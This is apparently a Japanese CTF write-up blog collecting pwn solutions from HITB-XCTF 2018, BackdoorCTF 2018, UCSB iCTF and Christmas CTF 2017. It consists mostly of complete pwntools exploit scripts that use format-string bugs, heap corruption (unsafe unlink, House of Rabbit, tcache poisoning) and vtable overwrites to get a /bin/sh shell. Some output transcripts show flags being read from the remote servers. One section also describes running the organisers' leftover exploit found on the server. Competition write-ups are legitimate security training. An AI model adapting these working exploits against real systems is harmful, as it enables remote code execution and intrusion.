#context.log_level = 'debug' # output verbose log

RHOST = "52.30.206.11"
RPORT = 1337
LHOST = "127.0.0.1"
LPORT = 1337

# libc = ELF('./libc.so')
elf = ELF('./haxpresso_f2d67837045662dd6abed40660340a33')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./haxpresso_f2d67837045662dd6abed40660340a33'], execute)
else:
    conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33'])
    # conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33'], env={'LD_PRELOAD': './libc.so'})

# preparing for exploitation

def add(name):
    conn.sendlineafter(' > ', '1')
    conn.sendlineafter(': ', '1')
    conn.sendlineafter(': ', 'y')
    conn.sendafter(': ', name)
    conn.recvuntil('added!')

def edit(idx, name):
    conn.sendlineafter(' > ', '4')
    conn.sendlineafter(': ', str(idx))
    conn.sendafter(': ', name)
    conn.recvuntil('edited!')


log.info('Pwning')


add('a')
add('b')
conn.sendlineafter(' > ', '3')
conn.sendlineafter(': ', '0')
conn.sendlineafter(': ', 'n')
conn.sendlineafter(' > ', '3')
conn.recvuntil('Name: ')
buf = conn.recvline()
print repr(buf)
libc_base = u32(buf[0:4]) - 0xd661
log.info('libc_base = 0x%x', libc_base)
conn.sendlineafter(': ', 'n')
conn.sendlineafter(': ', 'n')

payload = 'x'*0x24 + p32(0x0804c030)
edit(0, payload)
edit(1, p32(libc_base + 0x3a940))

conn.sendline('4')
conn.sendline('0')
conn.sendline('/bin/sh\x00')

conn.interactive()

Botpanel - Pwn (300 + 10)

はじめのログインに自明なFSBがあったので、そこだけでexploitした。流せるpayloadが0xc bytesだけだが条件が合えば問題なく動く。体感で1/10で刺さる。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log


RHOST = "52.30.206.11"
RPORT = 31337
LHOST = "127.0.0.1"
LPORT = 31337

libc = ELF('./libc.so')
elf = ELF('./botpanel_e0117db42051bbbe6a9c5db571c45588')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./botpanel_e0117db42051bbbe6a9c5db571c45588','0'], execute)
else:
    conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588', '0'])
    # conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588'], env={'LD_PRELOAD': './libc.so'})

# preparing for exploitation




offset = 12
password = '>@!ADMIN!@<'
log.info('Pwning')

# leak
payload = '..%43$p.%7$p'
conn.sendlineafter('Panel password:', payload)
conn.recvuntil('..')
libc_base = int(conn.recv(10),16) - 0x00018540 - 247
conn.recvuntil('.')
stack_addr = int(conn.recv(10), 16)
log.info('libc_base = 0x%x', libc_base)
log.info('stack_addr = 0x%x', stack_addr)
conn.recvuntil('Incorrect')

payload = '..%3$p\x00'
conn.sendlineafter('Panel password:', payload)
conn.recvuntil('..')
bin_base = int(conn.recv(10),16) - 0x10c0
log.info('bin_base = 0x%x', bin_base)

count_addr = stack_addr - 0x60
payload = p32(count_addr+1) + '%9c%12$n'
conn.sendafter('Panel password:', payload)

ret_addr = stack_addr - 0x3c


def write_word(addr, value):
    addr1 = addr
    addr2 = addr+2
    value1 = 0xffff & value
    value2 = 0xffff & (value >> 16)

    payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74),27)
    print len(payload)
    assert len(payload) <= 0xc
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%%d$hn' % (addr1 &0xffff,85)
    print len(payload)
    assert len(payload) <= 0xc
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74+4),27)
    conn.sendafter('Panel password:', payload)
    payload = '%%%dc%%%d$hn' % (0xffff&addr2,85)
    conn.sendafter('Panel password:', payload)

    payload = '%%%dc%%5$hn' % (value1)
    conn.sendafter('Panel password:', payload)
    payload = '%%%dc%%6$hn' % (value2)
    conn.sendafter('Panel password:', payload)

write_word(ret_addr, libc_base + 0x3a940)
write_word(ret_addr+8, libc_base + 0x15902b)


conn.sendline(password)
conn.interactive()

HITB-XCTF GSEC CTF 2018 Quals writeup

once (pwn, 281pts)

libcのアドレスは適当な選択をすれば漏れてくるので、適当に双方向リストのポインタを上書きした。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.189.102"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('./libc-2.23.so')
elf = ELF('./once')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        set environment LD_PRELOAD=./libc-2.23.so
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./once'], execute)
else:
    conn = process(['./once'])
    # conn = process(['./once'], env={'LD_PRELOAD': './libc-2.23.so'})

# preparing for exploitation

def create():
    conn.sendlineafter('> ', '1')

def write(payload):
    conn.sendlineafter('> ', '2')
    time.sleep(0.5)
    conn.send(payload)

def free():
    conn.sendlineafter('> ', '3')

def malloc(size):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('input size:', str(size))
    conn.sendlineafter('> ', '4')

def _free():
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '3')
    conn.sendlineafter('> ', '4\x00yyyyyy')

def write_string(payload):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '2')
    time.sleep(0.5)
    conn.sendline(payload)
#    conn.recvuntil('success.')
    conn.sendlineafter('> ', '4')


log.info('Pwning')

conn.sendlineafter('> ', '-1')
conn.recvline()
buf = conn.recv(len('0x7fbb53834690'))
libc_base = int(buf, 16) - 0x6f690
log.info('libc_bsae = 0x%x', libc_base)

write('a'*0x10 + p64(libc_base + 0x3c56e0 + 8)*2)
malloc(0x200)
payload = '/bin/sh\x00' + p64(libc_base + 0x45390) + 'y'*0x10 + 'z'*0x10 + 'w'*0x8 + p64(libc_base + 0x7475e)
write_string(payload)
_free()
conn.recvuntil('>')
create()

conn.interactive()

babypwn (pwn, 253pts)

バイナリが与えられないが自明なFSBがあるためリークすることができる。適当にstdinあたりのvtableを上書きした。

#!/usr/bin/env python
from pwn import *

#context(os='linux', arch='unknown')
#context.log_level = 'debug' # output verbose log

RHOST = "47.75.182.113"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./a.out')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x4006ef
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./a.out'], execute)
else:
    conn = process(['./a.out'])
    # conn = process(['hogehoge'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def write(addr, byte):
    payload = ('%%%dc%%10$hhn'% byte ).ljust(0x20, 'x')+ p64(addr)
    conn.sendline(payload)

log.info('Pwning')

# leak libc_base
conn.sendline('%41$p')
conn.recvuntil('0x')
libc_base = int(conn.recv(12), 16) - 0x20830
log.info('libc_base = 0x%x', libc_base)

stdin = libc_base + 0x3c48e0
stdin_vtable = libc_base + 0x3c49b8
fake_vtable = libc_base + 0x3c49c0
system = libc_base + 0x45390

# set ';sh' string
write(stdin+4, ord(';'))
write(stdin+5, ord('s'))
write(stdin+6, ord('h'))

# create fake vtable
for i in range(6):
    write(fake_vtable+0x28+i, ord(p64(system)[i]))

# overwrite stdin vtable ptr
a = (fake_vtable & 0xffff)
payload = ('%%%dc%%10$hn'% a ).ljust(0x20, 'y')+ p64(stdin_vtable)
conn.sendline(payload)

conn.interactive()

d (pwn, 392pts)

heap overflowがあるのでchunk sizeを上書きしてunsafe unlink attackを使った。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.154.113"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./27b201be-af0d-4fb9-85b8-f6ea9712e632.d')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], execute)
else:
    conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'])
    # conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def read(idx, msg):
    conn.sendlineafter('Which? :', '1')
    conn.sendlineafter('Which? :', str(idx))
    conn.sendlineafter('msg:', msg)

def edit(idx, msg):
    conn.sendlineafter('Which? :', '2')
    conn.sendlineafter('Which? :', str(idx))
    conn.sendlineafter('new msg:', msg)

def wipe(idx):
    conn.sendlineafter('Which? :', '3')
    conn.sendlineafter('Which? :', str(idx))

def fsa(addr, byte):
    payload = ''


printf_plt = elf.plt['printf']
atoi_plt = elf.plt['atoi']
strlen_plt = elf.plt['strlen']
fake_chunk = 0x6021a0


log.info('Pwning')

read(0, 'x' * 0x138)
read(1, 'x' * 0x138)
read(2, 'x' * 0x138)
read(3, 'x' * 0x138)
read(4, 'y' * 0x138)
read(5, 'z' * 0x138)
read(6, 'z' * 0x138)
wipe(4)
read(4, 'a'* (0x138+19))
edit(4, 'x'*0xf8)
edit(4, 'x'*0xf0 + p64(0xf0))
payload = p64(0x0) + p64(0xf1)+p64(fake_chunk - 0x18) + p64(fake_chunk-0x10)
edit(4, payload)
wipe(5)

edit(6, '/bin/sh\x00')
edit(4, p64(0x602028))
edit(1, p64(printf_plt)[:6])

edit(0, '%2$p')
conn.recvuntil('Which? :')
conn.sendline('2')
conn.recvuntil('Which? :')
conn.sendline('0')
conn.recvuntil('0x')
libc_base = int(conn.recv(12), 16) - 0x3c6780
log.info('libc_base = 0x%x', libc_base)
conn.sendline('hoge')

edit(4, '%p')
edit(4, p64(0x602018))
edit(1, '%p')
edit(1, p64(libc_base + 0x45390)[:7])

conn.interactive()

mutepig (pwn, 833pts)

House of Rabbit

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.128.158"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./mutepig')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        set follow-fork-mode parent
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./mutepig'], execute)
else:
    conn = process(['./mutepig'])
    # conn = process(['./mutepig'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def create(_type, payload):
    time.sleep(0.1)
    conn.sendline('1')
    conn.sendline(str(_type))
    time.sleep(0.1)
    conn.send(payload)
    time.sleep(0.1)

def free(idx):
    time.sleep(0.1)
    conn.sendline('2')
    time.sleep(0.1)
    conn.sendline(str(idx))
    time.sleep(0.1)

def write(idx, payload, payload2):
    time.sleep(0.1)
    conn.sendline('3')
    time.sleep(0.1)
    conn.sendline(str(idx))
    time.sleep(0.1)
    conn.send(payload)
    time.sleep(0.1)
    conn.send(payload2)

log.info('Pwning')

time.sleep(0.1)

create(3, 'x'*7)
free(0)
create(3, 'y'*7)
free(1)
create(1, 'fast')   # 2
create(2, 'small')  # 3
free(2)
payload = p64(0) + p64(0x11) + p64(0x0) + p64(0xfffffffffffffff1)
write(2, p64(0x602130)[:7], payload)
free(3)     # malloc_consolidate
payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xa00001)
write(3, 'w'*7, payload)
create(3, '/bin/sh')
payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xfffffffffffffff1)
write(3, 'w'*7, payload)
create(13337, 'a'*7)
create(1, p64(0x0000000000602018)[:7])
write(0, p64(0x00000000004006e6)[:7], 'hoge')
free(2)

conn.interactive()

gundom (pwn, 487pts)

tcache

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.37.114"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('./libc.so.6')
elf = ELF('./gundam')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./gundam'], execute)
else:
    conn = process(['./gundam'])
    # conn = process(['./gundam'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

def build(name, idx):
    conn.sendlineafter('Your choice : ', '1')
    conn.sendafter('The name of gundam :', name)
    time.sleep(0.1)
    conn.sendlineafter('The type of the gundam :', str(idx))
    time.sleep(0.1)

def visit():
    conn.sendlineafter('Your choice : ', '2')
    time.sleep(0.1)

def destroy(idx):
    conn.sendlineafter('Your choice : ', '3')
    conn.sendlineafter('Destory:', str(idx))
    time.sleep(0.1)

def blow():
    conn.sendlineafter('Your choice : ', '4')
    time.sleep(0.1)

log.info('Pwning')

build('x'*0x10, 0)
build('y'*0x10, 1)
destroy(0)
destroy(0)
build('x'*0x1, 0)
visit()
conn.recvuntil('Gundam[2] :')
heap_base = u64(conn.recv(6) + '\x00\x00') - 0x278
log.info('heap_base = 0x%x', heap_base)

destroy(0)
destroy(0)
destroy(0)
destroy(0)
destroy(0)
destroy(0)
destroy(0)
blow()
build('\x90'*0x1, 0)
visit()
conn.recvuntil('Gundam[0] :')
libc_base = u64(conn.recv(6) + '\x00\x00') - 0x3dac90
log.info('libc_base = 0x%x', libc_base)


destroy(1)
payload = p64(0) + p64(0x61) + p64(libc_base + 0x3dac78) * 2 + 'a'*0x40 + p64(0x60) + p64(0x100)
build(payload, 2)
build(p64(libc_base + 0x3da9cc) + p64(0) + p64(heap_base + 0x3d0)*2, 0)
build('hoge', 0)

free_hook = libc_base + 0x3dc8a8
short_buf = libc_base + 0x3daa63
payload = '\x00'* 4 +  p64(0xfbad208b) + p64(short_buf) + p64(short_buf+1) + p64(short_buf) * 4 + p64(free_hook-2) + p64(free_hook+8)
build(payload, 0)

conn.sendline('3')
conn.send('0\x00' + p64(libc_base + 0xfccde))
#conn.send('0\x00' + 'x'*8)

conn.interactive()

最後に

最近はCTFをするときにMAN WITH A MISSIONRaise your flagを聴いている(本当は適当にプレイリストを流しているだけ)。 CTFっぽい名前なのか良い感じにfirst bloodを取れるのでジンクスとして続けていこうとかと思っている。

BackdoorCTF 2018 SHELTER, BOOKKEEPING writeup

SHELTER (pwn, 200pts)

機能

ノート管理系のアプリ。ノートの新規作成とノートの削除を行うことができる。ノートの作成時に作成されたノートが割り当てられたメモリのアドレスを教えてくれる。また、3.Helpを選択するとcode領域のアドレスを得ることができる。削除するときはindexを指定して実行する。indexは新規作成されたたびにインクリメントされていき、削除されてもデクリメントされない。

# ./challenge

--- Menu ---
1.New note
2.Delete note
3.Help
4.Exit
choice > 1
Enter content > hogehoge
Created at 0x5595c8fb3010 !

--- Menu ---
1.New note
2.Delete note
3.Help
4.Exit
choice > 3
I am located at 0x5595c7af0c1a

構造体

ノートの構造体は以下のようになっていた。malloc()で取得できるチャンクのサイズは0x100byteとなる。関数ポインタはノートの削除時にfree()が行われる前に呼び出される。削除に成功した旨を出力すう関数のポインタが設定される。

struct Note {
    void* func_ptr;
    char content[0xf0];
}

vuln

ノート作成時に、読み込むbyte数が0xf1byteとなっており、buffer overflowが存在する。直下のチャンクのサイズを1byteだけ任意の値に書き換えることができる。 また同じindexを複数回数指定できるためdouble freeがある。

exploit

get_shell()というシェルを起動してくれる関数がいるため、func_ptrを任意の値にしてget_shell()を呼び出す。 PREV_INUSEをクリアして、チャンクの統合を起こし、free済みのfunc_ptrを任意に書き込めるようにして、get_shell()を呼んだ。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "51.15.73.163"
RPORT = 8088
LHOST = "127.0.0.1"
LPORT = 8088

# libc = ELF('./libc.so.6')
elf = ELF('./challenge')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./challenge'], gdbscript=execute)
else:
    conn = process(['./challenge'])
    # conn = process(['./challenge'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

log.info('Pwning')

def new_note(content):
    conn.sendlineafter('choice >', '1')
    conn.sendafter('Enter content >', content)
    conn.recvuntil('at ')
    return int(conn.recv(14), 16)

def del_note(idx):
    conn.sendlineafter('choice >', '2')
    conn.sendlineafter('Enter index to delete note >', str(idx))

def help():
    conn.sendlineafter('choice >', '3')
    conn.recvuntil('I am located at ')
    return int(conn.recv(14),16)

# leak bin_base
bin_base = help() - 0xc1a
log.info('bin_base = 0x%x', bin_base)



heap_base = new_note('x'*0xf0) - 0x10
fake_chunk = heap_base + 0x70
log.info('heap_base = 0x%x', heap_base)
new_note('y'*0xf0)
new_note('z'*0xf0)
del_note(0)
# ptr.fd->bk == ptr
# ptr.bk->fd == ptr
payload = 'a' * 0x58 + p64(0x0) + p64(0x91) +p64(fake_chunk) + p64(fake_chunk) + 'b'*0x70 + p64(0x90) + '\x00'
new_note(payload)
del_note(1)
new_note(p64(bin_base + 0xa30)*0x18)
del_note(1)
conn.interactive()
# python exploit.py r
[*] '/root/ctf/backdoorCTF2018/shelter/challenge'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 51.15.73.163 on port 8088: Done
[*] Pwning
[*] bin_base = 0x5642f01b8000
[*] heap_base = 0x5642f15a7000
[*] Switching to interactive mode
$ ls
challenge
flag.txt
$ cat flag.txt
CTF{Y0U_4R3_T0_B3_R3W4RD3D}

BOOKKEEPING (pwn, 350pts)

ノート管理アプリ。 サイズを指定できて、負数を入力するとチャンクのサイズを小さくできる。適当にやったらシェルが取れた。ただposixの共有メモリとか使っていて、verifier.oの方からしかflagを読めない。しかし、シェルを取ったらディレクトリに運営の想定解法っぽいexploitがあったので、それを実行したらフラグが降ってきた。途中で気づいたのか、想定解法は削除されていた。

#!/usr/bin/env python
from pwn import *
import subprocess

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "51.15.73.163"
RPORT = 8888
LHOST = "127.0.0.1"
LPORT = 8888

# libc = ELF('')
elf = ELF('./service.o')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./service.o'], gdbscript=execute)
else:
    conn = process(['./service.o'])
    # conn = process(['./service.o'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def add_note(length, title, body):
    conn.sendlineafter('>', '1')
    conn.sendlineafter('Enter note length>', str(length))
    conn.sendlineafter('Enter title>', title)
    conn.sendlineafter('Enter note body>', body)

def delete_note(idx):
    conn.sendlineafter('>', '2')
    conn.sendlineafter('Enter note index>', str(idx))

def edit_note(idx, title, body):
    conn.sendlineafter('>', '3')
    conn.sendlineafter('Enter note index>', str(idx))
    conn.sendlineafter('Enter title>', title)
    conn.sendlineafter('Enter note body>', body)

def print_note(idx):
    conn.sendlineafter('>', '4')
    conn.sendlineafter('Enter note index>', str(idx))
    conn.recvuntil('Title: ')
    title = conn.recvuntil('Body: ')
    body = conn.recvuntil('Welcome')
    return (title, body)

log.info('Pwning')
subprocess.call(['rm', '-f', '/dev/shm/notes_dir'])

# leak
add_note(-0x10, 'x'*0x20, '\n')
add_note(0x10, 'y'*0x20, 'y'*0xf)
add_note(0x10, 'y'*0x20, 'y'*0xf)
delete_note(1)
(_, buf) = print_note(0)
libc_base = u64(buf[:6]+'\x00\x00') - 0x3c4b78
log.info('libc_base = 0x%x', libc_base)
add_note(0x10, 'y'*0x20, 'y'*0xf)
delete_note(2)

add_note(-0x40, 'a'*0x20, '\n')
add_note(-0x40, 'b'*0x20, '\n')
add_note(-0x40, 'c'*0x20, '\n')
delete_note(3)
payload = 'v'*0x60 + p64(0x70) + p64(0x71) + p64(libc_base + 0x3c4aed)
edit_note(2, payload, '\n')
add_note(-0x40, 'd'*0x20, '\n')
payload = '\x00' * 3 + p64(0) * 2 + p64(libc_base + 0x4526a)
add_note(-0x40, payload, '\n')
delete_note(0)

conn.sendlineafter('>', '1')
conn.sendlineafter('Enter note length>', '1')
conn.interactive()
# python exploit.py r
[*] '/root/ctf/backdoorCTF2018/bookkeeping/service.o'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 51.15.73.163 on port 8888: Done
[*] Pwning
[*] libc_base = 0x7fa4a7097000
[*] Switching to interactive mode
$ ls
Makefile
flag
service.c
service.o
verifier.c
verifier.o
$ cat flag
cat: flag: Permission denied
# python exp.py
[+] Opening connection to 51.15.73.163 on port 8888: Done

Title: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Body: \x80\xa2\x1a
Welcome to note taker
1. Add a note
2. Delete a note
3. Edit a note
4. Print a note
5. Exit
6. Get flag
>

[*] Heap base @: 0x21aa000

Title: CTF{d1d_y0u_ju57_wr173_p457_7h3_30f?}
Body:
Welcome to note taker
1. Add a note
2. Delete a note
3. Edit a note
4. Print a note
5. Exit
6. Get flag
>

[*] Closed connection to 51.15.73.163 port 8888

UCSB iCTF 2018 hero_text_adventure writeup

vuln

武器の名前の大きさは、0x20byteとなっている。しかし、4) give weapon a new nameで入力できるサイズが0x24byteとなっている。NULL終端されるため0x23byteが自由に制御でき、3byteがオーバーフローする。オーバフローする部分は、次の武器の関数ポインタであるため、装備する武器を変えてバトルすれば任意の処理へ制御を飛ばすことができる。

exploit

脆弱性を使用するためには、武器を2つ購入して最初に購入した武器を装備し名前を変えればいい。

書き換えた関数ポインタが呼ばれるとき、rdi(第一引数)は自分の名前を指すポインタ(player@0x603240)を格納している。なのでprintf(name)をして、必要なアドレスをリークした。 書き換えられるバイト数は3byteだけなので、libcのsystem関数をそのまま書き込むことはできない。なのでバイナリ中で使用しているreadline関数を一旦呼び出して、player以下の領域を任意の値を書き換えられるようにした。 最後は適当に調整して、system('/bin/sh')を呼び出した。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "127.0.0.1"
RPORT = 20007
LHOST = "127.0.0.1"
LPORT = 20007

# libc = ELF('')
elf = ELF('./hero_text_adventure')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./hero_text_adventure'], gdbscript=execute)
else:
    conn = process(['./hero_text_adventure'])
    # conn = process(['./hero_text_adventure'], env={'LD_PRELOAD': ''})

# preparing for exploitation

log.info('Pwning')

conn.sendline('N')
conn.sendline('%p.%p.%p.')
conn.sendline('1')
# make money
conn.sendline('1337')
conn.sendline('10000')
# buy weapon
conn.sendline('2')
conn.sendline('1')
# buy weapon
conn.sendline('2')
conn.sendline('2')
# equip
conn.sendline('3')
conn.sendline('1')
# give a name to weapon
conn.sendline('4')
payload = 'x'* 0x20 + p32(0x400ebf)  # printf
conn.send(payload)
# equip
conn.sendline('3')
conn.sendline('2')

# trigger vuln
conn.sendline('1')
conn.recvuntil('.0x28.')
libc_base = int(conn.recv(len('0x7f4c4f89b0a4')), 16) - 0x3c40a4
log.info('libc_base = 0x%x', libc_base)

# equip
conn.sendline('3')
conn.sendline('1')
# give a name to weapon
conn.sendline('4')
payload = 'x'* 0x20 + p32(0x400C84)
conn.send(payload)
# equip
conn.sendline('3')
conn.sendline('2')

# trigger vuln
conn.sendline('1')
payload = '/bin/sh\x00' + p64(0x603350) * 0x20 + 'a'*0x30
payload = '/bin/sh\x00' + p64(0x603350) * 0x20 + p64(libc_base + 0x45390)
conn.send(payload)
conn.send(p64(libc_base + 0x45390))
conn.recvuntil('6) exit')
conn.sendline('1')

conn.interactive()

さいごに

First Bloodを取れたので嬉しい。

Christmas CTF 2017 writeup

はじめに

クリスマスに予定がなかったのでCTFしてた。TokyoWesternsで参加して1829点で3位だった。賞金が降ってくるらしいのでちょっとしたクリスマスプレゼントっぽくなった。解けた問題のwrteiupを書く。

[PWNABLE] BOOKSTORE

C++で書かれたバイナリで、Stringを使っている。なのでbofは存在しない。しかし未初期化バグがあるので、それをうまく使うことで任意の箇所を操作できるようになる。操作は本の価格と個数で決まるので、適当に本の値段を1にしておいて買うときに個数を調整した。

適当にbssあたりに偽の本を作っておきアドレスのリークを行った。リモートとローカルでライブラリのマッピングされる位置が違ったのか少し手こずった。最終的にはlibcのアドレスをリークしてから、environの値をリークさせてstackのアドレスを得てretrun addressを書き換えるようにした。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "207.148.67.213"
RPORT = 1337
LHOST = "127.0.0.1"
LPORT = 1337

# libc = ELF('')
elf = ELF('./bookstore')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./bookstore'], execute)
else:
    conn = process(['./bookstore'])
    # conn = process(['./bookstore'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def add_book(name, desc, price, pub):
    conn.sendlineafter('5. Exit', '1')
    time.sleep(0.1)
    conn.sendlineafter('Name : ', name)
    time.sleep(0.1)
    conn.sendlineafter('Description : ', desc)
    time.sleep(0.1)
    conn.sendlineafter('Price : ', str(price))
    time.sleep(0.1)
    conn.sendline(pub)
    time.sleep(0.1)

def create_pub(name, desc):
    conn.sendlineafter('5. Exit', '2')
    time.sleep(0.1)
    conn.sendlineafter('Name : ', name)
    time.sleep(0.1)
    conn.sendlineafter('Description : ', desc)
    time.sleep(0.1)

def view_books():
    conn.sendlineafter('5. Exit', '3')
    time.sleep(0.1)

def list_pubs():
    conn.sendlineafter('5. Exit', '4')
    time.sleep(0.1)

def sell_book(name, num):
    conn.sendlineafter('5. Exit', '5')
    time.sleep(0.1)
    conn.sendlineafter('Book Name : ', name)
    time.sleep(0.1)
    conn.sendlineafter('Num : ', str(num))
    time.sleep(0.1)


def write_word(addr, value):
    payload = 'a'*0x40 + p64(0x0) + p64(addr)
    create_pub(str(value), payload)
    add_book(str(value), 'zzzz', 0x1, '')
    sell_book(str(value), value)

